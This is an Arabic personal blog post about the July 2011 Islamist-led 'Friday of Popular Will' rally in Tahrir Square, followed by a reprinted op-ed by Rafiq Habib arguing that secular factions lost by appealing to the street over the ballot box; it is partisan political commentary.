كنت كتبت أننى وقفاً لله تعالى فى ذلك اليوم المشهود ,, الذى خرجت فيه الملايين لتقف فى ميدان التحرير لتعبير عن رأيها فى حضور حضارى لا مثيل له و فى تمثيل هو الاكبر فى تاريخ الامة المصرية (على ما اتصوره) و ذلك فى تحد كبير و سافر لكل ما كان يقوله ويروجه الاعلام المأجور و الكاذب حول مزاعم الدماء التى ستسير و غيرها من الاكاذيب لنهم أدركوا ان يوم جمعه الهوية و الاراده الشعبية يوم لا مثيل له و لن يكون (عالاقل فى القريب) له مثيل وحتى لو أجتموعوا كل الليبراليين و العلمانيين و جابوا ناس من بره مصر تأزرهم : - ))

المهم اننى لم اتمكن من الكتابه و لا الحديث فى ذلك اليوم لضعف الارسال لدي فى المنطقه التى كنت فيها ,, ولانى بالامس فقط رجعت لبيتى  فستكون تلك التدوينة التى كتبتها فى يوم الجمعه الفائت كشهاده لما كان يحدث يومها :

يوم كيوم التنحى ,, جمعة الإراده الشعبية 

اليوم , كان كيوم التنحى ,, ملايين المصريين يخرجون أفواجاً ليعبروا عن أنفسهم و بأنفسهم عن حقهم فى التعبير عن أنفسهم و الاهم التعبير عن هويتهم ,, هويتهم التى يحاول البعض عبثاً اللعب بها او بالاحرى مسحها والالتفاف على إراده الشعب و اللعب بمقدراته تحت مسمي الشرعية الثورية ,, و التى أقتصروها فى مجموعة تتحدث طوال الليل و النهار لا عن الثورة والثوار وجموع المصريين ,, فلا ثورة الا لهم ولا حق لا ما يرقونه و لا جموع الا من يمثلونها ,, و إذ لا أنكر أن لهم الحق فى التعبير عن أنفسهم فأنا لا يمكنى قبول ذلك الادعاء الكاذب بانهم فقط هم الثوار و فقط هم الاجماع و فقط هم الشعب  هذا عالاقل ان كان هذا الشعب انا واحد منه او حاولى الخمسة مليون مصرى الذين خرجوا اليوم يعبرون عن أنفسهم فى أعلى و اعظم واكبر مظاهرات و جمع الثورة بما فيها جمعة تنحى مبارك 

ذلك الخروج الذى شيع المثبطون والعلمانيين و بعض اللبيراليين على إرادتهم و قللوا من قدرهم و استهانوا بها بل وحذروا من بحور الدماء التى ستسير و الاشقاق الذى سيسود  ..

فى تلك الجمعة

..

الطريف فى الاعلام-العلمانى واللبيرالى- ان هناك مجموعتن سلفين-ومن دونهم من الاخوان و جموع المواطنين المحافظين بفطرتهم- و بين الثوار و كان الثوره هى فقط للعلمانيين و اللبيرالين بجميع اشكالهم وطوائفهم دون غيرهم ,, نعم لا ننكر حقهم فى ان يكونوا فصيلاً و لاعباً فيها ,, لكننا لا نجيز ان يكونوا هم فقط وما دونهم الطوفان: )

الحقيقة ان ما حدث اليوم يختصره فى مقولة رائعه الشيخ صفوت حجازى حين قال: ليسنا اليوم نستعرض قوانا و الا لحتجنا الى ميدان يسع 20 مليون-وأكثر- : - )

الحقيقة ان اليوم ليس يوماً اقصائياً بل يوم للتعبير عن فصيل ظل مغيباً بتعمد من الفصائل الاخر على رغم من انه الفصيل الاكثر تضرراً من النظام السابق على اعتبار انه ان حرم اللبيرالين و العلمانين-بعضهم- من ممارسه بعض الحقوق السياسية فانه للحق ان الاسلاميين قد حرموا اغلب الاحيان من الحياه ,,

وذا أكثر مما قد يقدمه انسان ,,


سبحانك اللهم بحمدك لا اله الا انت سبحانك وأتوب إليك ,, 

إضغط لتعرف أكثر


فى ضوء المتابعة المستمرة لما شهدته ميادين مصر الحرة من حشود هااااااااااائله دعدت إليها الحركات الاسلامية فى يوم الاراده الشعبيه أنقل لكم مقالة رائعه لدكتور رفيق حبيب هو أحد المسحيين المعتدليين نقلاً عن جريدة المصريون :


تبنت عدد من الاتجاهات الليبرالية والعلمانية فكرة المبادئ الدستورية الحاكمة، أو المبادئ فوق دستورية، وذهبت إلى التظاهر والاعتصام، رافعة شعارات ومطالب الثورة، ولكنها ضغطت بكل الطرق على المجلس العسكري، من أجل فرض رأيها. وعندما وجد المجلس العسكري نفسه في مواجهة التهديدات بالاعتصام وتعطيل مصالح الدولة، لم يجد أمامه إلا الموافقة على إصدار إعلان دستوري جديد، يشمل المبادئ الحاكمة للدستور والقواعد المنظمة لاختيار اللجنة التأسيسية. ولكن المجلس الأعلى للقوات المسلحة، حدد في بيانه أن هذا الإعلان يتوقف على توافق القوى السياسية، مما يعني أنه ألقى بالكرة للقوى السياسية، واشترط توافقها

من أجل إصدار إعلان دستوري جديد.

ولوحظ أن المجلس العسكري استجاب للضغوط، رغم أنه يعرف أنها لا تمثل
رأي الأغلبية، مما يعني أن المجلس لديه ما يمنعه من المواجهة الصريحة. والواضح أن المجلس الأعلى للقوات المسلحة ليس لديه رغبة في أن لا يكون طرفا في أي خلاف سياسي، لذا أصر من البداية على ألا يكون طرفا في عملية وضع الدستور أو اختيار اللجنة التأسيسية، حتى لا يصبح منخرطا في صراعات أو خلافات القوى السياسية. كما أتضح أن المجلس العسكري لا يريد الدخول في مواجهة مع أي قوة سياسية، ولا يريد منع عمليات تعطيل مصالح الدولة بالقوة، حتى لا ينخرط في صراعات في الشارع، تجعله خصما أو طرفا في صراع، وتعرقل قدرته على تسليم السلطة إلى سلطة مدنية منتخبة. لذا نجد المجلس العسكري يستجيب للضغوط بصورة تشجع على التظاهر والاعتصام، وأحيانا يستجيب لضغوط لا يستطيع تنفيذها. لذا عندما وجد نفسه مضطرا للإعلان عن نيته إصدار إعلان دستوري جديد، لم يجد لهذا المأزق من مخرج، إلا برمي الكرة إلى القوى السياسية، واشتراط أن تتوافق أولا.كما يلاحظ أن القوى العلمانية عندما تضغط بالنزول إلى الشارع على المجلس العسكري من أجل فرض شروط على عملية وضع الدستور الجديد، فهي تدعوا الناس للتظاهر من أجل مطالب الثورة المتفق عليها، ولكنها تستخدم التظاهر أو الاعتصام من أجل فرض مطالبها التي لا تحظى بدعم جماهيري، مما يعني أن البعض يريد استخدام الشارع، لا من أجل إظهار مدى ما يحظى به من تأييد شعبي لمواقفه أو أراءه، ولكن من أجل ممارسة الضغط على المجلس العسكري من أجل مطالب الثورة، ثم يضيف لها مطالبه الخاصة، بما أنه قادر على تمديد التظاهر والاعتصام أو فضه.هنا أخطأ أصحاب الاتجاه العلماني، لأنهم ببساطة اتجهوا إلى الاحتكام للشارع بدلا من الاحتكام لصندوق الاقتراع، ظنا منهم أنهم يقدروا على تحقيق مكاسب من خلال الاحتكام للشارع، أكثر مما يمكن تحقيقه من خلال الاحتكام لصندوق الاقتراع. ولكن التيار الإسلامي الذي أدرك هذا التصرف منذ البداية، ولم يستجب لعملية الاحتكام للشارع، وجد أن المجلس العسكري يستجيب للضغوط، وغير قادر على مقاومتها وحسم الأمور، مما جعل التيار الإسلامي يفكر في الاحتكام للشارع، لينهي مسالة المبادئ الحاكمة للدستور، أو المبادئ فوق دستورية. ومن هنا جاءت فكرة المظاهرة في يوم 29 يوليو، والتي كان المقصود منها توجيه رسالة لكل الأطراف، أنه إذا أراد البعض الاحتكام للشارع، فإن التيار الإسلامي قادر على الاحتكام للشارع، ولديه رصيد جماهيري يمكنه من حسم الخلافات من خلال الاحتكام للشارع، وأن التيار الإسلامي يفضل الاحتكام لصندوق الاقتراع، ولكنه لا يخشى من الاحتكام للشارع، وأنه قادر عليه. وهذا ما يفسر لنا، لماذا أصر التيار الإسلامي بمختلف فصائله على النزول الحاشد للميدان، لدرجة أن الجماهير تجاوزت كل الأرقام الكبرى للمظاهرات، ووصلت للحد الأعلى، أو حتى ربما تجاوزته، رغم الحرارة الشديدة.الفريق الخاسر هنا، كان الاتجاه العلماني، لأنه راهن على أنه الوحيد الذي سوف يلجأ للاحتكام للشارع، وأن الطرف الثاني لن يلجأ للاحتكام للشارع. وعندما تأكد للحركات والنخب العلمانية أن التيار الإسلامي قرر النزول للشارع بالفعل، حاول الفريق العلماني تغيير عنوان التظاهرة، حتى لا تصب في مصلحة اظهار موقف التيار الإسلامي والدعم الجماهيري الذي يحظى به. ولكن نزول التيار الإسلامي كان واضحا، وتحت عنوان واضح، وهو الإرادة الشعبية، والبعض من فصائل التيار الإسلامي، حاول أن يجعل عنوانه أكثر وضوحا وربما أكثر مواجهة، وجعله دفاعا عن الشريعة الإسلامية، على أساس أن الدفاع عن الإرادة الشعبية الحرة، يؤدي إلى الدفاع عن مرجعية الشريعة الإسلامية، وأن محاولات الالتفاف على الإرادة الشعبية الحرة، مقصود منها الالتفاف على مرجعية الشريعة الإسلامية.فأصبح المشهد يدور بين فريق علماني لا يعلن أنه علماني، وينزل للميدان تحت لافتة المطالب الثورية المشروعة والمتفق عليها، ولكنه يحاول أن يستفيد من نزول الناس للميدان لتحقيق مطالبه التي لا يعلنها للناس، والتي لا تحظى بقبول عام. وفريق آخر، وهو التيار الإسلامي، والذي استطاع تحقيق حشد واسع، وأعلن مواقفه للجميع، وحاز على تأييد الجماهير الحاشدة لها. لذا كان الاحتكام للشارع في غير صالح الفريق العلماني، بل أنه جعله في موقف حرج، خاصة أمام المجلس العسكري، وأمام الجماهير. لأن الفريق العلماني اعتمد الصوت العالي، وحاول أن يلعب دورا أكبر من وزنه في الشارع.وفي كل الأحوال، فإن إدارة المشهد السياسي يجب أن تتم من خلال صناديق الاقتراع، فيجب أن يبقى الاحتكام للشارع حالة استثنائية لا تتكرر. والفريق العلماني لم يدرك بعد أنه خسر كثيرا من خلال المنهج الذي اتبعه، وأن العودة للممارسة الديمقراطية وتعجيلها كان أفضل، لأن الفشل في مواجهة الشارع، يصعب من مواجهة صندوق الاقتراع.

المقالة تجدها هنا : الاحتكام للشارع 

النشر بتأريخ قديم فقط مراعاه للترتيب فى المدون و بصرف النظر عن التاريخ الحقيقى ليها و الذى اعتقد انه موجود فى المصدر المنقول منه المقالة.

إضغط لتعرف أكثر